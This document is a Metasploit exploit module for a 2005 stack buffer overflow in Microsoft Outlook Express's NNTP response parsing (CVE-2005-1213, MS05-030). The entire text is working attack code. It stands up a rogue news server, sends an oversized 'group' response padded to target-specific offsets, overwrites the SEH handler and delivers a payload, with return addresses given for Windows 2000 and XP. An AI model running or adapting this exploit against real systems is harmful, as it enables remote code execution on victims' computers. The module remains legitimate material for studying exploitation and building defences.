Microsoft Outlook Express NNTP Response Parsing Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the news reader of Microsoft  
Outlook Express.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2005-1213' ],  
[ 'OSVDB', '17306' ],  
[ 'BID', '13951' ],  
[ 'MSB', 'MS05-030' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00",  
'MaxNops' => 0,  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],  
['Windows XP English SP0/SP1', { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 14 2005',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])  
], self.class)  
end  
  
def on_client_connect(client)  
yup = "200\r\n"  
  
client.put(yup)  
client.put(yup)  
end  
  
def on_client_data(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
filler = "215 list\r\n" + "group "   
filler << rand_text_english(target['Offset'])  
seh = generate_seh_payload(target.ret)  
sploit = filler + seh + " 1 y\r\n\.\r\n"  
  
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")  
client.put(sploit)  
  
handler  
service.close_client(client)  
end  
  
end  
`